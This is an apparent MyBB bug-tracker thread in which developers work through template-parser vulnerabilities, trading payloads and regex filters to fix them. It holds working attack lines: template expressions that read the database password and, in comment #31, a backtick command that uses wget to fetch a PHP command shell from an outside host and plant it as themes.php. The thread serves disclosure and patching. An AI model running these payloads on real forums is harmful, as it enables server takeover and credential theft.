Bug #1508

Template Parser Vulnerabilities

Added by Tom Moore about 1 year ago. Updated 3 days ago.

Status:Resolved Start date:03/17/2011
Priority:Normal Due date:
Assignee:Tom Moore % Done:

100%

Category:Themes / Templates
Target version:1.6.8
Reproducibility:Always Database Type:
Reported In MyBB Version:1.6.1 Database Version:
PHP Version: SQA assignments:Stefan T.
Browser:

Description

If an unauthorized user gained access to the ACP, or a well-formed template was introduced via a plugin or theme, it is possible to execute arbitrary PHP code. This code could also give the user access to perform actions on the server, not just MyBB.

These issues will be searched for at two points: when a theme is imported and when a template is saved. It is up to the administrator of the forum to check that plugins they are installing are from a secure and trusted source. An additional area in the ACP will be added to check a template set for these security issues too.

The database details - from the $config or $mybb->config arrays - are also accessible through the templates. This should not happen.

See: http://secunia.com/advisories/38941/
See: http://community.mybb.com/thread-66409.html

Thanks to ZiNgA BuRgA for providing a fix.

screen9.png (17 kB) Nathan Malcolm, 05/03/2012 11:57 am

screen13.png (15.5 kB) Nathan Malcolm, 05/09/2012 06:55 pm

Associated revisions

Revision 5390
Added by Tom Moore about 1 year ago

Fixes Template Parser Vulnerabilities (fixes:1508)

Revision 5392
Added by Tom Moore about 1 year ago

Fixes Template Parser Vulnerabilities (fixes:1508)

Revision 5393
Added by Tom Moore about 1 year ago

Fixes Template Parser Vulnerabilities (fixes:1508)

Revision 5502
Added by Tom Moore 10 months ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5508
Added by Tom Moore 10 months ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5511
Added by Tom Moore 10 months ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5544
Added by Tom Moore 10 months ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5751
Added by Tom Moore 3 months ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5762
Added by Tom Moore 2 months ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5812
Added by Tom Moore about 1 month ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5825
Added by Tom Moore 21 days ago

Fixes Template Parser Vulnerabilities (fixes #1508)

Revision 5829
Added by Tom Moore 3 days ago

Fixes Template Parser Vulnerabilities (fixes #1508)

History

#1 Updated by Tom Moore about 1 year ago

  • Status changed from Assigned to Resolved
  • % Done changed from 0 to 100

Applied in changeset r5390.

#2 Updated by Tom Moore about 1 year ago

Guidance notes for plugin developers will be available shortly before the next maintenance release advising of the changes that have been made. Some variable styles will not be permitted in templates.

#3 Updated by Tom Moore about 1 year ago

Applied in changeset r5392.

#4 Updated by Tom Moore about 1 year ago

Applied in changeset r5393.

#5 Updated by Stefan T. about 1 year ago

$mybb->config is a reference of $config, so there is no need of modifying both.

#6 Updated by Tom Moore about 1 year ago

I was just testing - I never actually meant to commit it to the SVN. >_<'.

#7 Updated by Tom Moore about 1 year ago

  • Target version changed from 1.6.3 to 1.6.4

#8 Updated by Stefan T. 12 months ago

  • SQA assignments set to Stefan T.

#9 Updated by Stefan T. 11 months ago

  • Status changed from Resolved to Closed

#10 Updated by Andreas Klauer 10 months ago

check_template currently disallows config and mybb->config, but GLOBALS['config']['database']['password'] still works.

#11 Updated by Stefan T. 10 months ago

  • Status changed from Closed to Feedback

#12 Updated by Tom Moore 10 months ago

  • Status changed from Feedback to Resolved

Applied in changeset r5508.

#13 Updated by Andreas Klauer 10 months ago

Tom, you will probably kill me for this, but... $GLOBALS contains 'GLOBALS' as well (the structure recurses into itself). So if you prevent GLOBALS['config'], one can use GLOBALS['GLOBALS']['config'] instead.

eval() is evil in that it never ends... :)

#14 Updated by Andreas Klauer 10 months ago

Also, whitespace is allowed between $var and ['index'].

Is there any template that uses $GLOBALS? If not, disallow $GLOBALS altogether.

#15 Updated by Tom Moore 10 months ago

  • Status changed from Resolved to Feedback

Noooo! Curse you! :P

No problem, completely didn't even cross my mind. Will apply the fixes tomorrow. I dont want to block GLOBALS, as it can be useful for developers, I just don't want the config array to be there!

#16 Updated by Andreas Klauer 10 months ago

And I'm probably 100% dead now but the perfectionist inside me just noticed that this also matches $configfoobar which would be harmless as its an entirely different variable. Hopefully no plugin uses $configsomething or $globalsomething. Alternatively I guess appending a negative lookahead (?![a-z0-9_]) at the end of the pattern would prevent that from happening.

"#\\\$(globals|config|mybb->config)(?![a-z0-9_])#i"

Yup, I'm already leaving the country as we speak...

#17 Updated by Andreas Klauer 10 months ago

"#\\\$(GLOBALS\\s*\\[\\s*'(GLOBALS|config)'\\s*\\]|(config|(GLOBALS\\s*\\[\\s*'mybb'\\s*\\]|mybb)\\s*->\\s*config)(?![A-Za-z0-9_]))#"

prevents $GLOBALS['config'], $GLOBALS['GLOBALS'], $config, $GLOBALS['mybb']->config, $mybb->config including the allowed whitespace variations I could make out.

allows $GLOBALS['whatever'], $configwhatever, $mybb->configwhatever, and since variables in PHP appear to be case sensitive I removed the #i.

I haven't tested it thoroughly. A test suite would come in handy right about now :-)

#18 Updated by Tom Moore 10 months ago

I don't mind, I'll take your word for it! We'll soon see if it works. ;)

#19 Updated by Tom Moore 10 months ago

  • Status changed from Feedback to Resolved

Applied in changeset r5511.

#20 Updated by Stefan T. 10 months ago

  • Status changed from Resolved to Feedback

The template "member_profile_adminoptions" still contains $config['admin_dir'].

#21 Updated by Ryan Gordon 10 months ago

<?php

echo "<pre>";
print_r($GLOBALS["GLOBALS"]);
echo "</pre>";

preg_match("#\\\$(GLOBALS\\s*\\[\\s*'(GLOBALS|config)'\\s*\\]|(config|(GLOBALS\\s*\\[\\s*'mybb'\\s*\\]|mybb)\\s*->\\s*config)(?![A-Za-z0-9_]))#", '$GLOBALS["GLOBALS"]', $matches);
echo "<pre>"; print_r($matches); echo "</pre>";
?>

Result:

Array
(
    [GLOBALS] => Array
 *RECURSION*
    [_POST] => Array
        (
        )

    [_GET] => Array
        (
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

)
Array
(
)

#22 Updated by Andreas Klauer 10 months ago

True, it doesn't match when written with double quotes ". But using "" instead of singe quotes ' in templates gives me

Parse error: syntax error, unexpected '"', expecting T_STRING in /var/www/localhost/htdocs/mybb/calendar.php(2286) : eval()'d code on line 2
Array

PHP simply doesn't accept "" in this syntax

php > $foo['bar']=123;
php > echo "{$foo['bar']}";
123
php > echo "{$foo[\"bar\"]}";
PHP Parse error:  syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in php shell code on line 1

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in php shell code on line 1

So it's only an issue if a future version of PHP allows " there...

Do you have something that works in a template?

#23 Updated by Andreas Klauer 10 months ago

Aha! It really never ends.

{$GLOBALS[GLOBALS][mybb]->config[database][password]}
works.

So you have to replace ' with '? in the pattern above since the quote is optional as it turns out. :(

#24 Updated by Ryan Gordon 10 months ago

This is why it should have been fixed with the entirely new template parser in 2.0 then dodgy workarounds right now all in the name of PR.

#25 Updated by Tom Moore 10 months ago

  • Status changed from Feedback to Resolved

Applied in changeset r5544.

Checkout this bad boy. Only protecting the database password (arguably the one we want to protect the most).

#26 Updated by Tom Moore 6 months ago

  • Project changed from Security Issues to MyBB

Moving to MyBB.

#27 Updated by Andreas Klauer 4 months ago

And another one: Execute any shell command, e.g.

${`sleep 5`}
makes your forum lag...

#28 Updated by Stefan T. 4 months ago

  • Status changed from Resolved to Feedback

#29 Updated by Tom Moore 4 months ago

@Andreas, what did you put in the template? I can't get that variable to reproduce the affect.

#30 Updated by Andreas Klauer 4 months ago

As posted, using backticks. http://php.net/manual/en/language.operators.execution.php

With shell_exec disabled it raises a warning instead:

Warning [2] shell_exec() has been disabled for security reasons - Line: 2 - File: printthread.php(163) : eval()'d code PHP 5.2.17-0.dotdeb.0 (Linux)
File     Line     Function
[PHP]           errorHandler->error
/printthread.php(163) : eval()'d code     2     shell_exec
/printthread.php     163     eval

Hopefully that's the default configuration for most hosts...

#31 Updated by Nathan Malcolm 4 months ago

Tomm, try this:

${`cd ./cache/;wget http://nemesishack.altervista.org/download/shells/ajax_php_command_shell.txt;mv ajax_php_command_shell.txt themes.php`}

Tested on a live forum, and also on localhost. It will generate the file 'themes.php' in the cache folder.

#32 Updated by Tom Moore 3 months ago

  • Target version changed from 1.6.4 to 1.6.7

#33 Updated by Tom Moore 3 months ago

  • Status changed from Feedback to Resolved

Applied in changeset r5751.

Complete shot in the dark. Will this work?

#34 Updated by Nathan Malcolm 3 months ago

  • Status changed from Resolved to Feedback

You're not out of the woods yet, jack.

That regex doesn't have any effect. I tried the following regex and it worked as expected.

~\\$\\{`.*?`\\}~s

#35 Updated by Andreas Klauer 3 months ago

PHP also allows space between { and `, ` and }

Maybe just disallow ${ as there is no case where this is legal, it's always {$

#36 Updated by Chris Köcher 3 months ago

Andreas Klauer wrote:

Maybe just disallow ${ as there is no case where this is legal, it's always {$

In PHPs Language Reference you can find some cases for using ${ in strings (e.g. the follwing examples work).

{${foo()}}
${foo}
{${$foo}}

You can find this all here: http://www.php.net/manual/de/language.types.string.php#language.types.string.parsing

#37 Updated by Stefan T. 3 months ago

But none is used in MyBB...

#38 Updated by Andreas Klauer 2 months ago

Trying to approach the problem from a different angle:

Instead of blacklisting illegal / harmful constructs, we could whitelist harmless ones. So only {$foo}, {$foo['bar']}, {$foo->bar} is allowed, while specifically excluding $GLOBALS, $config and $mybb->config. With this, the other template security checks could be removed, as any pattern not matching the above will simply not be executed and instead show up verbatim in the HTML.

In class_templates::get() it could look like this:

        if($eslashes)
        {
            $template = addcslashes($template, '"$\\');
            $template = preg_replace_callback(
                "#{\\\\\\\$(?!(GLOBALS|config|mybb->config)\\b)([A-Za-z0-9_]+|->|\\[('[A-Za-z0-9_]*'|[0-9]+)\\])+}#",
                function ($match) { return str_replace('\\$', '$', $match[0]); },
                $template);
        }

First it escapes all $, rendering all variables useless. Then it unescapes $ for known constructs.

This code currently breaks 4 variables that are currently used in MyBB templates: {$config['admin_dir']}, {$lang->$status}, {$monthnames[$month]} and {$monthnames[$week_from_one]}. The above regexp could be changed to allow those, but it would make the regexp a lot more complicated. It is simpler to make those four variables available under a different name (e.g. $mybb->admin_dir instead of $config['admin_dir']).

As a side effect this also catches some simple syntax errors, such as {$foo['bar]}. Currently this error would lead to

Parse error: syntax error, unexpected T_STRING, expecting ']' in /var/www/localhost/htdocs/mybb/index.php(383) : eval()'d code on line 4
but with the change it would just show up verbatim in the HTML as it's not one of the recognized constructs.

#39 Updated by Tom Moore 2 months ago

I'd rather not attempt preg functions in ::get() as it could go through dozens of templates (not to mention duplicate replace calls when a template is called again in a loop).

Andreas, can we apply your method in a similar way to the existing security check? Instead of throwing a security error we can instead replace it with a parse error message.

#40 Updated by Andreas Klauer 2 months ago

Haha, ouch. You have a point there, although that's already happening currently - same templates keep getting queried in a loop, and it adds the comments, and escapes " etc., every single time. This should only be done once and the already escaped templates returned in the subsequent calls...

It can't be adapted to the existing security check, since for that we'd have to match disallowed constructs again. The code above doesn't have a clue (and doesn't care) if there are such constructs in the code, as those constructs then simply stay escaped. We also can't look for escaped $ afterwards as those are legal (there are some templates with bits of JavaScript code in them) and besides the user might want to use the $ sign for something. Unless you want to force them to write it as {$dollar} instead... which would be a stupid idea.

Another approach would be doing the escaping at the time of insert. So the templates would be stored in the database in the already escaped form.

Doing this would involve changing all templates (master, global, user) at the time of update, the update would be non-reversible, all code that currently handles templates (template editor, find_replace_templatesets, plugins) would have to be changed to grab the already escaped template, unescape it, modify it (when reading templates), and escape it again before putting it back into the DB (when writing templates).

It's not impossible to do, but it'd be one big mess esp. since we have no control over what plugins do with the database. And letting a single template go through unescaped would open up all sorts of security issues again, so this is just not a good idea.

If you want to stick with the security checks, just add a check for $\s*{ ($ whitespace {)

#41 Updated by Andreas Klauer 2 months ago

Cache function could be written like this:

    /**
     * Cache the templates.
     *
     * @param string A list of templates to cache.
     */
    function cache($templates)
    {
        global $db, $theme;
        $sql = $sqladd = "";
        $names = explode(",", $templates);
        foreach($names as $key => $title)
        {
            $sql .= ",'".trim($title)."'";
        }

        $templates = array();

        $query = $db->simple_select("templates", "title,template", "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'asc'));
        while($template = $db->fetch_array($query))
        {
            $templates[$template['title']] = addcslashes($template['template'], '"$\\');
        }

        $templates = preg_replace_callback(
            "#{\\\\\\\$(?!(GLOBALS|config|mybb->config)\\b)([A-Za-z0-9_]+|->|\\[('[A-Za-z0-9_]*'|[0-9]+)\\])+}#",
            function ($match) { return str_replace('\\$', '$', $match[0]); },
            $templates);

        $this->cache += $templates;
    }

That'd make all templates cached in escaped form. So it's one preg_replace call per request, not one for every template->get. As long as all templates are cached anyway, which is a good practice even for plugins...

In the get function, code for uncached templates could then be changed to this

        if(!isset($this->cache[$title]))
        {
            $this->cache[$title] = "";

            $this->cache($title);

            if($mybb->debug_mode)
            {
                $this->uncached_templates[$title] = $title;
            }
        }

However, the if(eslashes) {} would have to be removed then. As all templates are escaped this way, there is no option to have them unescaped.

I haven't found a case in MyBB where the get function is called with eslashes=0. So it doesn't matter, as long as there isn't a plugin that relies on unescaped templates.

EDIT: This change currently also breaks the development (Dev Get) mode as it now lacks the escaping. So it'd have to be polished up a bit.

Still it shows that this approach can be done with little impact to performance.

#42 Updated by Andreas Klauer 2 months ago

Oh, and I guess function ($match) should be written differently as this closure style is a PHP 5.3 thing

#43 Updated by Tom Moore 2 months ago

  • Status changed from Feedback to Resolved

Applied in changeset r5762.

Could we be less greedy and go with #\$\s*\{\s*`.*?`\s*\}#?

#44 Updated by Tom Moore about 1 month ago

  • Category set to Themes / Templates
  • Status changed from Resolved to Feedback
  • Target version changed from 1.6.7 to 1.6.8

#45 Updated by Tom Moore about 1 month ago

  • Status changed from Feedback to Resolved

Applied in changeset r5812.

#46 Updated by Nathan Malcolm 22 days ago

  • File screen9.png added
  • Status changed from Resolved to Feedback

When running the template check, the following PHP warning occurs.

#47 Updated by Tom Moore 21 days ago

Caused by changes from #1843 (r5818).

#48 Updated by Tom Moore 21 days ago

  • Status changed from Feedback to Resolved

Applied in changeset r5825.

#49 Updated by Nathan Malcolm 16 days ago

  • File screen13.png added
  • Status changed from Resolved to Feedback

Yet another PHP warning.

#50 Updated by Chris Köcher 15 days ago

I think the problem is the "(*UTF8)". I've never seen this one in PCRE-patterns (and haven't found it via google). The correct solution should be adding the "u"-modifier (UTF-8 support for PCRE) at the end of the pattern.
So, line 656 should be the following (not tested):

if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~u', '', $template)))

#51 Updated by Tom Moore 15 days ago

@Chris, that would re-open #1843. (*UTF8) can be used when PCRE hasn't been compiled with the UTF-8 flag (I think, regex is my worst enemy).

I'm going to reset this back to the original regex and open #1843 as not fixed.

#52 Updated by Tom Moore 3 days ago

  • Status changed from Feedback to Resolved

Applied in changeset r5829.

Also available in: Atom PDF